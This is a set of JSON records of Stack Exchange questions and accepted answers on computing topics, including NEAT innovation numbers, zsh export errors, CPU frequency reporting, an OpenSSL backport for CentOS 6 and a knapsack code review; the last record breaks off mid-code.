{  "id": "_cs.69625"  , "question": "I have been reading up on the NeuronEvolution of Augmented Topologies and there's this little thing that's been bothering me. While reading Kenneth Stanley's Paper on NEAT I came on this figure here:The innovation numbers go from 1,2,3,4,5,6 to 1,2,3,4,5,6,7 on the first mutation.On the second one it goes from 1,2,3,4,5,6 to 1,2,3,4,5,6,8,9. My question is why does it skip number 7 and goes straight up to 8 instead? I didn't find anything related to deleting innovation numbers.Same thing on this second figure, how did Parent 1 lose 6,7 and where did the 8th gene go to in Parent 2?"  , "title": "NeuroEvolution: NEAT algorithm innovation numbers"  , "tags": "machine learning;neural networks;genetic algorithms;neural computing"  , "accepted_answer": "Here is what I gathered from skimming the paper for just the figure.Your first figure, which is the figure 3 in the paper, already has the answer in its caption:Figure 3: The two types of structural mutation in NEAT. Both types,  adding a connection and adding a node, are illustrated with the  connection genes of a network shown above their phenotypes. The top  number in each genome is the innovation number of that gene. The  innovation numbers are historical markers that identify the original  historical ancestor of each gene. New genes are assigned new  increasingly higher numbers. In adding a connection, a single new  connection gene is added to the end of the genome and given the next  available innovation number. In adding a new node, the connection gene  being split is disabled, and two new connection genes are added to the  end the genome. The new node is between the two new connections. A new  node gene (not depicted) representing this new node is added to the  genome as well.In figure 3, it could be deduced that the add connection mutation (top half) occur preceding  the add node mutation (buttom half).When the add connection mutation occurred, the lowest free innovation number was 7. And so the gene created at that moment was assigned the marker of 7.Later, when the add node mutation occurred, 2 new genes were created. And so they were assign the lowest free innovation number at the time which is 8 and 9.The innovation number is not the indices of each gene inside the array representing a genome.The innovation number is just a number permanently branded to each gene, telling us when the gene first occur. As if the year number when human first evolved a gene for hairless body were written down on the gene itself.The uses of innovation is then explained around your latter figure, which is figure 4:The historical markings give NEAT a powerful new capability. The  system now knows exactly which genes match up with which (Figure 4).  When crossing over, the genes in both genomes with the same innovation  numbers are lined up. [...]  This way, historical markings allow NEAT to perform crossover using linear genomes with out the need for expensive topological analysis.From this I assumed that innovation number are always ordered increasingly within a genome, but gaps in innovation numbers are allowed to occur within genome.The order is probably ensured simply by the fact that all operations done on genome was designed to not violate this within-genome ordering.This makes sense because each gene can be thought of as an instruction to construct a graph.By keeping the instruction ordered by when it was introduced, it makes sure that reading instruction on genome from left to right makes sense chronologically."  } 
{  "id": "_webapps.82935"  , "question": "I tweeted something via Twitter and then tried to search for it. The tweet is https://twitter.com/bgoodr2/status/638042917056065536 so I searched for:Allow Intra-PDF document link navigationAnd that gave nothing (URL was https://twitter.com/search?f=tweets&q=Allow%20Intra-PDF%20document%20link%20navigation&src=typd)I tried searching forIntra-PDFAnd gave some results (URL was https://twitter.com/search?q=Intra-PDF&src=typd). I then tried to include the to: operator:Intra-PDF to:dochubappwhich gave https://twitter.com/search?f=tweets&q=%22Intra-PDF%22%20to%3Adochubapp&src=typd but my tweet did not show up there.Is this the same situation as described in the answer to Why is my tweet not appearing, and when might it appear? ?  If so, then that is puzzling: I would have expected it to show me my own outbound tweets even if they aren't showing up in the feed of the recipient."  , "title": "Why is twitter search not finding results"  , "tags": "twitter"  } 
{  "id": "_webapps.40363"  , "question": "Currently I'm trying to search through my rather large email archive on Gmail.Unfortunately the words I like to find also occur in almost any email footer as the signature text.While I understand that there is no entity type signature in a plain email body, it seems that Gmail is still (limited) capable of detecting signatures (and collapsing them with those ... buttons).My question:Is there a search operator to tell Gmail to search for text but omit the signature?"  , "title": "Is it possible to exclude the email signatures when searching in Gmail?"  , "tags": "gmail;gmail search;email signature"  , "accepted_answer": "Kinda, there is a work around to do what you want, while doing the search, you can specify that results should not have some text, by using the field Doesn't have, and include in this field some text from the signatures.or if you can also specify to search for whole sentences only, by using double quotes like this:my one long sentenceso it will match the whole sentence only, and not single words."  } 
{  "id": "_opensource.2655"  , "question": "I know this question is utterly silly for a developer, but apparently the legal dept. is getting paid to have a common sense that's ... different from ours.So here is my question: What license governs the files that are automatically generated by Visual Studio?And I don't refer here to things that are added as Nuget packages. Those have a (relatively) clear license.I refer to the trivial files, like:web.[debug|release].config files for web projectsglobal.asax(.cs)?AssemblyInfo.csXxxForm.designer.cs (for Winforms projects)For some context: I have to comply with a tool called Protex that scans source files and finds pieces that may be part of OSS projects. The general idea is sane - we do want to comply with the requirements of the OSS libraries we use, and this tool helps check if there's anything we missed. The problem is, it also finds positives in (unmodified) files like web.debug.config, probably because there are a zillion OSS projects out there that have used the same VS Web Project template containing the same scaffolded files."  , "title": "What is the license of the scaffolding files Visual Studio generates automatically?"  , "tags": "licensing;development environment"  } 
{  "id": "_unix.2048"  , "question": "Currently I need to have a program running all the time, but when the server is rebooted I need to manually run the program.  And sometimes I'm not available when that happens.I can't use a normal configuration to restart my program when the server is starting because I don't have root access and the administrator don't want to install it."  , "title": "how to ensure a program is always running but without root access?"  , "tags": "process;boot;monitoring;cron"  , "accepted_answer": "I posted this on a similar questionIf you have a cron daemon, one of the predefined cron time hooks is @reboot, which naturally runs when the system starts. Run crontab -e to edit your crontab file, and add a line:@reboot /your/command/hereI'm told this isn't defined for all cron daemons, so you'll have to check to see if it works on your particular one"  } 
{  "id": "_unix.236235"  , "question": "I installed a newer version of tcpdump via MacPorts and would like to make it the default binary.$ which -a tcpdump/usr/sbin/tcpdump/opt/local/sbin/tcpdumpFor now I set an alias, but that of course doesn't prevent man to show the older documentation."  , "title": "How to set binary installed by package manager as default?"  , "tags": "osx;package management;binary"  , "accepted_answer": "In OS X 10.8.5, bash 3.2.53(1), MacPorts 2.3.4 you should actually do nothing.I don't know though why it didn't work at first. PATH's value might have somehow been stored and not updated (more on this below).I tried MANPATH as suggested by thrig, but that didn't work. From man's man page:It overrides the configuration file and the automatic search path. exporting the PATH from my (global) profile with the directories of the package manager first. That prefixed them thrice and suffixed them once and it did set the newer binaries/man pages as default, but I was curious about this new longer composition of PATH (the old value had all directories just once but in a different order, OS's defaults first, then package manager's).For this topic check over at SU, Where does $PATH get set in OS X 10.6 Snow Leopard?.It turns out MacPorts installer adds the directories in ~/.profile.# MacPorts Installer addition on 2015-10-10_at_20:55:20: adding an appropriate PATH variable for use with MacPorts.export PATH=/opt/local/bin:/opt/local/sbin:$PATH# Finished adapting your PATH environment variable for use with MacPorts.I had this multiple times, so I proceeded to comment all, except the last one. That resulted in a clean PATH.But how does man actually get the newer documentation?From the SEARCH PATH FOR MANUAL PAGES section:In  addition,  for  each  directory in the command search path (we'll call it a commanddirectory) for which you do not have a MANPATH_MAP statement, man automatically looks fora manual page directory nearby namely as a subdirectory in the command directory itself orin the parent directory of the command directory.You can disable the automatic nearby searches by including a NOAUTOPATH statement in/private/etc/man.conf.I corroborated this by temporarily enabling NOAUTOPATH.Example$ type tcpdumptcpdump is /opt/local/sbin/tcpdump$ ll -d /opt/local/manlrwxr-xr-x  1 root  admin  9 Oct 10 20:55:20 2015 /opt/local/man -> share/manFor other package managers YMMV, but not much I suppose."  } 
{  "id": "_cs.13874"  , "question": "I need to keep a collection on integers in the range 0 to 65535 so that I can quickly do the following:Insert a new integerInsert a range of contiguous integersRemove an integerRemove all integers below an integerTest if an integer is presentMy data has the property that it often contains runs of integers in the collection.  For example, the collection might at one point in time be:{ 121, 122, 123, 124, 3201, 3202, 5897, 8912, 8913, 8914, 18823, 18824, 40891 }The simplest approach is just to use a balanced binary tree like the C++ std::set, however, using that, I am not leveraging the fact that I often have runs of numbers.  Perhaps it would be better to store a collection of ranges?  But that means a range needs to be able to be broken up if an integer in its middle is removed, or joined together if the space between two ranges in filled in.Are there any existing data structures that would be well suited for this problem?"  , "title": "What data structure would efficiently store integer ranges?"  , "tags": "data structures;efficiency;search trees;integers"  , "accepted_answer": "I suggest you use a binary search tree, augmented so that leaves can contain an interval (a run of consecutive integers).  Maintain the invariant that the intervals do not overlap and are in order (following the search tree invariant).  (This can be considered a special case of an interval tree or a segment tree, for the special case where the intervals do not overlap.)This data structure you can support all of your operations in $O(\\lg n)$ time, where $n$ is the number of intervals.  Since we're guaranteed $n\\le 65535$, I would expect this to be quite efficient.  (In particular, yes, you can split an interval into two pieces or merge two adjacent intervals into a single interval in $O(\\lg n)$ time.)"  } 
{  "id": "_unix.150917"  , "question": "I used the following command to redirect 80 to 3000. All the requests that come, from any domain, are redirected to 3000:sudo iptables -t nat -I PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 3000Having to processes: one that listens on 80001 and another one that listens on 8002 how can I link two domains to the two ports?Is it possible to have a JSON configuration like below?[    {       port: 8001,       domains: [example.com, example2.com]     },    {       port: 8002,       domains: [domain.com, domain2.com]     }]So, domain.com, domain2.com will send their requests to the process that listens on 8002 and the other two domains on 8001?"  , "title": "Redirect domains to different ports on same machine"  , "tags": "iptables;port forwarding;json"  , "accepted_answer": "Usually you would have to setup your web server with virtual hosts and maybe mod_proxy (for Apache).However, I would suggest that you use a reverse proxy such as haproxy to take care of that. Setup Haproxy  so that it listens to port 80 and direct your traffic to your webservers using ACLs on the domain name. Setup your webserver with virtual hosts that listen to 127.0.0.1:8002 and 127.0.0.1:80001 (if haproxy runs on the same server).Pretty simple setup. Look at this example. It's for putting haproxy in front of Docker containers, but you can adapt the configuration to suit your needs."  } 
{  "id": "_unix.208607"  , "question": "When running this script, I run into an error on this line (relevant  snippet below):..._NEW_PATH=$($_THIS_DIR/conda ..activate $@)if (( $? == 0 )); then    export PATH=$_NEW_PATH    # If the string contains / it's a path    if [[ $@ == */* ]]; then        export CONDA_DEFAULT_ENV=$(get_abs_filename $@)    else        export CONDA_DEFAULT_ENV=$@    fi    # ==== The next line returns an error     # ==== with the message: export: not valid in this context /Users/avazquez/anaconda3    export CONDA_ENV_PATH=$(get_dirname $_THIS_DIR)    if (( $($_THIS_DIR/conda ..changeps1) ));  then            CONDA_OLD_PS1=$PS1            PS1=($CONDA_DEFAULT_ENV)$PS1    fielse    return $?fi...Why is that? I found this ticket, but I don't have that syntax error.I found reports of the same problem in GitHub threads (e.g. here) and mailing lists (e.g. here)"  , "title": "Zsh: export: not valid in this context"  , "tags": "zsh;environment variables;command substitution;assignment"  , "accepted_answer": "In zsh, Command Substitution result was performed word splitting if was not enclosed in double quotes. So if your command substitution result contain any whitespace, tab, or newline, the export command will be broken into parts:$ export a=$(echo 1 -2)export: not valid in this context: -2You need to double quote command substitution to make it work, or using the safer syntax:PATH=$_NEW_PATH; export PATHor even:PATH=$_NEW_PATH export PATH"  } 
{  "id": "_softwareengineering.168494"  , "question": "Is it important to point out the good parts of the code during a code review and the reasons why it is good? Positive feedback might be just as useful for the developer being reviewed and for the others that participate in the review.We are doing reviews using an online tool, so developers can open reviews for their committed code and others can review their code within a given time period (e.g. 1 week). Others can comment on the code or other reviewer's comments. Should there be a balance between positive and negative feedback?"  , "title": "How important is positive feedback in code reviews?"  , "tags": "code reviews"  , "accepted_answer": "Improve Quality and Morale Using Peer Code Reviews http://www.slideshare.net/SmartBear_Software/improve-quality-and-morale-using-peer-code-reviewsThings Everyone Should Do: Code Review http://scientopia.org/blogs/goodmath/2011/07/06/things-everyone-should-do-code-review/Both of these articles state that one of the purposes of code review is to share knowledge about good development techniques, not just find errors.So I'd say it's very important.  Who wants to go to a meeting and only be criticized?"  } 
{  "id": "_unix.34933"  , "question": "I can connect to Linux machines from Windows using PuTTY/SSH. I want to do the other way round - connect to a Windows machine from Linux. Is this possible?"  , "title": "Can I connect to Windows machine from Linux shell?"  , "tags": "linux;ssh;windows"  } 
{  "id": "_unix.191265"  , "question": "I'm managing a lot of drupal sites, and trying to automate some stuff using drush.  Drush run locally calls drush on the remote host via ssh using options specified in the config for the site alias.  I'm making quite a lot of these calls, so to speed it up I use persistent ssh connections with ssh config like so:Host *  # see http://www.revsys.com/writings/quicktips/ssh-faster-connections.html  ControlMaster auto  ControlPath ~/tmp/%r@%h:%p  ControlPersist 3600I get a speed-up, but I also get messages like so:$ drush @alias drupal-directory webform /var/local/www/example.com/htdocs/sites/all/modules/contrib/webformShared connection to 12.34.56.78 closed.The message about the shared connection is on stdout, along with the output I want (seriously?  why not stderr?), so it's causing problems when I try to capture the output in my scripts:directory=$(drush @$alias drupal-directory $module)I expect the master connection to be one I already had open though, and it doesn't look like that closed.  So maybe drush is explicitly making this new connection a master one and closing it?  In any case, is there a way to suppress the message about the connection closing?[This issue is in a drupal / drush context, but I think it's fundamentally about ssh.  Is this the right site then?]EDIT:It looks like the problem is specific to where the -t option to ssh is in use.  I'm using this because svn passwords need to be entered at various points, and without -t, the password prompts don't get displayed.  Maybe there's another way to stop those prompts being lost?"  , "title": "Avoid Shared connection to  closed messages"  , "tags": "shell script;ssh;drupal"  } 
{  "id": "_webapps.79266"  , "question": "Can Google Apps mail support MULTIPLE geographical email subdomains? Such as:american.user@us.emaildomain.comnew.zealand.user@nz.emaildomain.comfrench.user@fr.emaildomain.comIf so, how can this be implemented?Is it also possible to lock down these subdomains so that they can only be accessed from certain IP addresses?The reason we need it is that we need to demonstrate that users are in specific offices for a variety of boring but important regulatory compliance reasons."  , "title": "How to set up geographical email subdomains on Google Apps"  , "tags": "google apps email"  } 
{  "id": "_unix.295292"  , "question": "The CPU is a i7-3770@3.40GHz. It has 4 cores and each core has 2 threads. Here is the dmidecode output:# dmidecode -t 4# dmidecode 2.9SMBIOS 2.7 present.Handle 0x0042, DMI type 4, 42 bytesProcessor Information    Socket Designation: SOCKET 0    Type: Central Processor    Family: <OUT OF SPEC>    Manufacturer: Intel(R) Corporation    ID: A9 06 03 00 FF FB EB BF    Version: Intel(R) Core(TM) i7-3770 CPU @ 3.40GHz    Voltage: 1.1 V    External Clock: 100 MHz    Max Speed: 3800 MHz    Current Speed: 3400 MHz    Status: Populated, Enabled    Upgrade: <OUT OF SPEC>    L1 Cache Handle: 0x003F    L2 Cache Handle: 0x003E    L3 Cache Handle: 0x0040    Serial Number: Not Specified    Asset Tag: Fill By OEM    Part Number: Fill By OEM    Core Count: 4    Core Enabled: 4    Thread Count: 8    Characteristics:        64-bit capableIt will be 8 logic core in a system, like what shows in /proc/cpuinfo. But can any one tell why the cpu MHz of a core is 1600MHz? I guess there is 2 threads in a core, so a hw thread freq may be about the half of the core's? How this number is calculated?processor   : 7vendor_id   : GenuineIntelcpu family  : 6model       : 58model name  : Intel(R) Core(TM) i7-3770 CPU @ 3.40GHzstepping    : 9cpu MHz     : 1600.000cache size  : 8192 KBphysical id : 0siblings    : 8core id     : 3cpu cores   : 4apicid      : 7initial apicid  : 7fpu     : yesfpu_exception   : yescpuid level : 13wp      : yesflags       : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts rep_good xtopology nonstop_tsc aperfmperf pni pclmulqdq dtes64 monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr pdcm sse4_1 sse4_2 x2apic popcnt aes xsave avx lahf_lm ida arat tpr_shadow vnmi flexpriority ept vpidbogomips    : 7013.49clflush size    : 64cache_alignment : 64address sizes   : 36 bits physical, 48 bits virtualpower management:Also, here is the output of lshw and lscpu command. There are also 1600MHz mentioned. lshw info:#lshw -class processor  *-cpu                          description: CPU       product: Intel(R) Core(TM) i7-3770 CPU @ 3.40GHz       vendor: Intel Corp.       physical id: 42       bus info: cpu@0       version: Intel(R) Core(TM) i7-3770 CPU @ 3.40GHz       slot: SOCKET 0       size: 1600MHz       capacity: 3800MHz       width: 64 bits       clock: 100MHz       capabilities: fpu fpu_exception wp vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx rdtscp x86-64 constant_tsc arch_perfmon pebs bts rep_good xtopology nonstop_tsc aperfmperf pni pclmulqdq dtes64 monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr pdcm sse4_1 sse4_2 x2apic popcnt aes xsave avx lahf_lm ida arat tpr_shadow vnmi flexpriority ept vpid cpufreqlscpu info:#lscpuArchitecture:          x86_64CPU op-mode(s):        32-bit, 64-bitCPU(s):                8Thread(s) per core:    2Core(s) per socket:    4CPU socket(s):         1NUMA node(s):          1Vendor ID:             GenuineIntelCPU family:            6Model:                 58Stepping:              9CPU MHz:               1600.000Virtualization:        VT-xL1d cache:             32KL1i cache:             32KL2 cache:              256KL3 cache:              8192K"  , "title": "What does cpu MHz field mean in the /proc/cpuinfo of a hyper-threading cpu?"  , "tags": "linux;cpu;multiprocessor;hyperthreading"  , "accepted_answer": "Modern cpu's can operate at several different frequencies changing dynamicallyunder the load requirements (see wikipedia). Intel call this SpeedStep. When a cpu has little to do it will run at a lower frequency to reduce power (and therefore heat and fan noise). So the 1600Mhz you see is probably because all the cpus are not doing much, but it can rise to some maximum like 3400 Mhz determined by cpu and motherboard architecture, and temperature.I'm not sure where /proc/cpuinfo gets its single value from, butyou can see individual cpu info in files /sys/devices/system/cpu/cpu*/cpufreq/, eg for the current frequency:cat /sys/devices/system/cpu/cpu*/cpufreq/scaling_cur_freqand read more about Linux cpu frequency scaling software in archlinux."  } 
{  "id": "_unix.84283"  , "question": "I'd like to have TLSv1.2 support in Apache on my Scientific Linux 6 (RHEL6 rebuild) server.Is there some semi-supported pathway to getting this working? Preferably with minimal custom rebuilding.  Right now I'm using mod_ssl with open_ssl, as provided in the SL6 repositories.Edit: Once TLSv1.2 support is available, the Apache configuration is well-documented and not too difficult. The problem is that RHEL6 ships with OpenSSL 1.0.0, which only supports TLS through 1.0 or 1.1."  , "title": "How can I get TLSv1.2 support in Apache on RHEL6/CentOS/SL6?"  , "tags": "rhel;openssl;apache httpd;scientific linux"  , "accepted_answer": "I've written a quick guide on backporting the OpenSSL 1.0.1 RPM from Fedora Core to support RHEL6 and variants by replacing the bundled 1.0.0 version to add TLSv1.2 and ECC support. Built and tested against CentOS 6.4 in September of 2013:Guide to OpenSSL 1.0.1 RPM for CentOS 6Please note: That's the place where I keep my own copy of OpenSSL and OpenSSH up-to-date. Improvements in CentOS 6.5 have largely mitigated the demand for TLS1.2 and flaws like Heartbleed are addressed there, while this answer will forever be stuck in 2013. Don't follow the steps below verbatim, it is imperative you run 1.0.1g or newer.Now with github: github/ptudor/centos6-opensslI've made a patch available that I will reference in this guide: openssl-spec-patricktudor-latest.diffFirst, prepare your build environment. (If you've installed EPEL, use mock. Keeping it simple here...)yum -y groupinstall Development tools yum -y install rpm-build zlib-devel krb5-develmkdir -p $HOME/redhat/{BUILD,RPMS,SOURCES,SPECS,SRPMS}echo %_topdir $HOME/redhat/ > ~/.rpmmacrosNext, grab the Fedora Core 20 SRPM for OpenSSL and the full OpenSSL source.rpm -Uvh http://dl.fedoraproject.org/pub/fedora/linux/development/rawhide/source/SRPMS/o/openssl-1.0.1e-42.fc21.src.rpmcd ~/redhat/SOURCES/wget http://www.openssl.org/source/openssl-1.0.1g.tar.gzwget http://www.openssl.org/source/openssl-1.0.1g.tar.gz.sha1openssl dgst -sha1 openssl-1.0.1g.tar.gz ; cat openssl-1.0.1g.tar.gz.sha1Now apply the old secure_getenv syntax and apply the patch:cd ~/redhat/SOURCES/sed -i -e s/secure_getenv/__secure_getenv/g openssl-1.0.1e-env-zlib.patchcd ~/redhat/SPECS/wget http://www.ptudor.net/linux/openssl/resources/openssl-spec-patricktudor-fc20-19.diffpatch -p1 < openssl-spec-patricktudor-latest.diffRun the build:time rpmbuild -ba openssl.specEverything went well hopefully, so let's install the new RPMs:cd ~/redhat/RPMS/x86_64/sudo rpm -Fvh openssl-1.0.1g-*.rpm openssl-libs-1.0.1g-*.rpm openssl-devel-1.0.1g-*.rpmMake sure it actually worked:openssl ciphers -v 'TLSv1.2' | head -4The link above at my website has more details but this should be a good starting point.Thanks, enjoy.20130819: Rawhide revision bumped from 14 to 15.20130831: fc20 revision bumped from 15 to 18.20130906: fc20 revision bumped from 18 to 19.20140408: just go to my website for anything after 1.0.1g."  } 
{  "id": "_unix.205226"  , "question": "How can I map Ctrl+Backspace to behave as Delete key with xkb? I can remap a single key on /usr/share/X11/xkb/symbols/pc but can't figure out how to do the combination. My OS is Ubuntu 15.04"  , "title": "xkb: make ctrl+backspace behave as delete"  , "tags": "keyboard shortcuts;keyboard;keyboard layout;xkb"  , "accepted_answer": "As Gilles pointed out in a comment, you can do it with xkb if you change the type of BKSP key to control-modifiable. Example: if I edit /usr/share/X11/xkb/symbols/pc and under:    include pc(editing)    include keypad(x11)change this line:    key <BKSP> {   [ BackSpace, BackSpace  ]   };to:    key <BKSP> {        type=PC_CONTROL_LEVEL2,        symbols[Group1]=  [ BackSpace, Delete ]    };then Ctrl+Backspace behaves as Delete."  } 
{  "id": "_webapps.85286"  , "question": "i have a hotmail account and have recently discovered that there is a Gmail account with the same name i use for my hotmail account? does this mean they have access to my hotmail/outlook/google/youtube/facebook accounts and if so how can i remove the gmail account as i have noticed unusal activity within my hotmail account, things deleted, emails not coming thru to my hotmail, its not right, ive changed my password a million times, removed devices associated with my google account, updated my backup recovery info, and put in 2step verification, but im always bypassed by code generator, and within facebook it keeps being reactivated, and will bypass a tx to my ph?Please advise if anyone has any info much appreciatedShannonPlease read belowSorry Im just as confused too, but what im asking is, is it possible a gmail account using the same username as your hotmail email account and google account link up together in anyway because they share the same user name? where they are all accessible by logging into one of these accounts? As i know google has the ability to link/sync all your accounts together so you can access them on any device from anywhere?I hope that is more understandable?.. RegardsShan"  , "title": "removing email accounts that have the same user name as mine"  , "tags": "gmail;google contacts"  } 
{  "id": "_codereview.147845"  , "question": "I am learning redux by doing a small project. Everything is working fine, but I need to know how I can refactor such code. For this situation, it might be good to use if conditions like I have done, but what if I need to handle 7-8 languages? It won't be viable to use else if for 7 times. What is the proper way to handle such situation?import { FRENCH } from '../../public/messages/fr';import { ENGLISH } from '../../public/messages/en';const initialState = {  lang: FRENCH.lang,  messages: FRENCH.messages};export const localeReducer = (state = initialState, action) => {  switch (action.type) {    case 'LOCALE_SELECTED':    if (action.locale === 'fr') {      return { ...initialState, lang: FRENCH.lang, messages: FRENCH.messages };    } else if (action.locale === 'en') {      return { ...initialState, lang: ENGLISH.lang, messages: ENGLISH.messages };    } break;    default:      return state;  }};"  , "title": "Locale language reducer"  , "tags": "javascript;ecmascript 6;react.js;i18n"  } 
{  "id": "_codereview.138616"  , "question": "I wrote a method that calculates the average and standard deviation of sell currency exchange-course (ASK).  But I think that it isn't the easiest way to define such behavior.In my opinion there is too much creating of BigDecimal values.I have also doubts about using an ArrayList to get values in order to count standard deviation, maybe there is a better data structure to achieve that goal.The method contains also counting average of buy currency exchange-course (BID in parsed file) but don't focus on it please.package pl.parser.nbp;import java.math.BigDecimal;import java.math.RoundingMode;import java.util.ArrayList;import java.util.List;import javax.xml.parsers.DocumentBuilder;import javax.xml.parsers.DocumentBuilderFactory;import org.w3c.dom.Document;import org.w3c.dom.Element;import org.w3c.dom.Node;import org.w3c.dom.NodeList;public class Counting {public void countAverageAndStandartDeviaton(String address){    try    {        DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();        DocumentBuilder db = df.newDocumentBuilder();        Document doc = db.parse(address);        doc.getDocumentElement().normalize();        NodeList nList = doc.getElementsByTagName(Rate);        List<BigDecimal> listForStandartDeviation = new ArrayList<>();        BigDecimal averageOfBid = new BigDecimal(0);        BigDecimal averageOfAsk = new BigDecimal(0);        BigDecimal divisor = new BigDecimal(nList.getLength());        for (int temp = 0; temp < nList.getLength(); temp++) {            Node nNode = nList.item(temp);            if (nNode.getNodeType() == Node.ELEMENT_NODE) {                Element eElement = (Element) nNode;                BigDecimal valueForBidAverage = new BigDecimal(eElement.getElementsByTagName(Bid).item(0).getTextContent());                BigDecimal valueForStandartDeviation = new BigDecimal(eElement.getElementsByTagName(Ask).item(0).getTextContent());                averageOfBid = averageOfBid.add(valueForBidAverage);                averageOfAsk = averageOfAsk.add(valueForStandartDeviation);                listForStandartDeviation.add(valueForStandartDeviation);            }        }        averageOfBid = new BigDecimal(averageOfBid.divide(divisor).toString()).setScale(4, RoundingMode.HALF_UP);        averageOfAsk = new BigDecimal(averageOfAsk.divide(divisor).toString());        System.out.println(averageOfBid +  - BID Average);        BigDecimal sumStandartDeviation = new BigDecimal(0);        for(int i = 0 ; i<listForStandartDeviation.size(); i++){            BigDecimal valueFromList = new BigDecimal(listForStandartDeviation.get(i).toString());            sumStandartDeviation = sumStandartDeviation.add((valueFromList.subtract(averageOfAsk)).pow(2));        }        sumStandartDeviation = sumStandartDeviation.divide(divisor);        sumStandartDeviation = new BigDecimal(Math.sqrt(sumStandartDeviation.doubleValue()))                .setScale(4, RoundingMode.HALF_UP);        System.out.println(sumStandartDeviation +   - ASK Standart Deviation);    }    catch (Exception e)    {        e.printStackTrace();    }}}"  , "title": "Counting standard deviation from parsed XML file"  , "tags": "java;xml;statistics"  } 
{  "id": "_unix.352074"  , "question": "In what way does the final value of number being assigned by read var number (and we enter 5) and number=5 differ? I was making this for loop: read var number#number=5factorial=1i=1for i in `seq 1 $number`do        let factorial=factorial*idoneecho $factorialwhen I noticed that if the number has the value assigned by the read, rather than direct assigning, it doesn't enter my for. I'm guessing it's because of the data type."  , "title": "For with read value"  , "tags": "shell script;command line;scripting;variable;read"  , "accepted_answer": "If you change the first line toread numberyoull get the behaviour youre looking for.read var numberreads two values and stores them in variables named var and number. If you only input one value, seq 1 $number expands to seq 1 which is just 1."  } 
{  "id": "_webmaster.16846"  , "question": "I've a product page ranking well for a keyword which I duplicated from the company itself which contained faq about it's product.Now the website has removed that page so mine is the only one existing now.Does anyone have any idea if still duplicate content penalty will be applied to my page?Should I go ahead and remove it? "  , "title": "Penalty issue for a duplicate page in site but original page doesn't exist anymore"  , "tags": "seo;duplicate content"  } 
{  "id": "_softwareengineering.202991"  , "question": "Microsoft employees commonly describe Windows 8 as having both a Render thread and UI thread.Typically they say the Render thread performs animations and the UI thread handles most other operations: parsing, layout, applying templates, data binding, input processing, most app callbacks, etc.Animations can be calculated from beginning to end when they are created. Sometimes the changes to the property being animated dont affect rest of the objects in a scene. These are called independent animations and they are run on the composition thread instead of the UI thread. This guarantees that they remain smooth because the composition thread is updated at a consistent cadence...Is this a common architecture or unique to Windows 8? What about Windows Phone 8? Android? iOS?"  , "title": "What operating systems use both a Render thread and a UI thread?"  , "tags": "architecture;multithreading"  } 
{  "id": "_unix.109723"  , "question": "Lets suppose a file is being owned by a user named mrxyz with UID and GID 1000, and has RW permissions for the file (esp. in ext file-systems). Now if the file is brought to my system will my user hash with UID 1000 inherit the permissions or will I have to make changes to fit my context? So basically, I want to know how changing ownership and permission with chown and chmod work from portability point of view?PS. It was a curiosity raised in this comment ...would there be issues with permissions/ownership if I plugged the disk into another box? that I posted this Q. (So, it would be great to have answers covering portability of files as well as filesystem.)"  , "title": "How portable are the works chmod and chown commands?"  , "tags": "permissions"  } 
{  "id": "_cstheory.31037"  , "question": "In the seminal paper of Polishchuk and Spielman where they give a construction of nearly linear sized $PCP$ for an $NP$ problem, one of the key ingredients is a low-degree test for bivariate polynomials. Essentially, to test if the function values on a set of evaluation points correspond to a bivariate polynomial of maximum degrees $(d,d)$, we check whether the restriction of this to axis parallel lines (i.e. rows and columns) are all degree $d$ univariate polynomials (This is an equivalence condition in the absolute case, which is easy to verify. The interesting part is the robustness of the test: that is, if the function values on the restrictions to axis parallel lines agree with low-degree polynomials on most points (that is, close to Reed-Solomon codewords), then there is a bivariate low degree polynomial (a Reed-Muller codeword) which also agrees with the function on most evaluation points). The proof of robustness uses the notion of error-corrector polynomial to capture the bad evaluation points, polynomial interpolation and then uses resultants. For more details check out sections 2,3,4,5 in http://cs.yale.edu/homes/spielman/PAPERS/holographic.pdfIn a follow-up paper by Sudan and Ben-Sasson (lemma 6.13 and section 6.6 in http://people.csail.mit.edu/madhu/papers/2005/rspcpp-full.pdf) they extend the basic argument of Polishchuk-Spielman to obtain a universal constant relating the distances of the function from row, column polynomials and the Reed-Muller polynomial. They claim a basic proof using the constant taken to be 128, without optimization.Then in a follow-up paper (by Ben Sasson et al here http://eccc.hpi-web.de/report/2012/045/, in section 10 (more precisely section 10.3)) they again talk about optimizing this universal constant and get it down to 10.24.My question is, Where did the universal constant exactly come into the picture at all, and how did they use the value of 128 in the first place? It seems to me (and I am sure I'm wrong here but not clear why) that one could have proved that same result without assuming anything about the size of the constant? It would be very helpful if someone could make that (simple and short) proof more explicit so that one sees how the constant and its assumed value enters the proof. Thanks in advance."  , "title": "Universal constant for bivariate testing"  , "tags": "coding theory;polynomials;pcp;property testing"  } 
{  "id": "_webapps.69468"  , "question": "Is there a way to see all of the shared files in my Dropbox account?  I'd like to see which folders I've shared with people either by inviting them or just by sharing a link to that folder/file."  , "title": "See all of the shared files in a Dropbox account"  , "tags": "dropbox;sharing"  , "accepted_answer": "Clicking links in the sidebar worked "  } 
{  "id": "_codereview.98778"  , "question": "I'm using a one-dimensional array with length \\$W(\\text{weight capacity})\\$. Is this is any better than the solutions with a two-dimensional array \\$W, n\\$ where \\$n\\$ is the number of items? I'm looking for code review, optimizations and best practices.class Thieves:    def __init__(self, details, items):        self.details = details        self.items = items        self.index = [None] * (self.details[1] + 1)    def valuable(self):        ind = 0        while ind < len(self.items):            to_be_added = set()            for i in range(1, len(self.index)):                if self.items[ind][0] <= self.details[1]:                    if self.index[i] == self.items[ind][1] and i == self.items[ind][0]:                        if self.index[i * 2] != None:                            if self.index[i * 2] < self.index[i] * 2:                                self.index[i * 2] = self.index[i] * 2                        else:                            self.index[i * 2] = self.index[i] * 2                    if i == self.items[ind][0]:                        if self.index[i] != None and self.index[i] < self.items[ind][1]:                            self.index[i] = self.items[ind][1]                        elif self.index[i] == None:                            self.index[i] = self.items[ind][1]                    if i - self.items[ind][0] > 0 and i - self.items[ind][0] != self.items[ind][0]: #and self.index[self.items[ind][0]] == self.items[ind]  #and 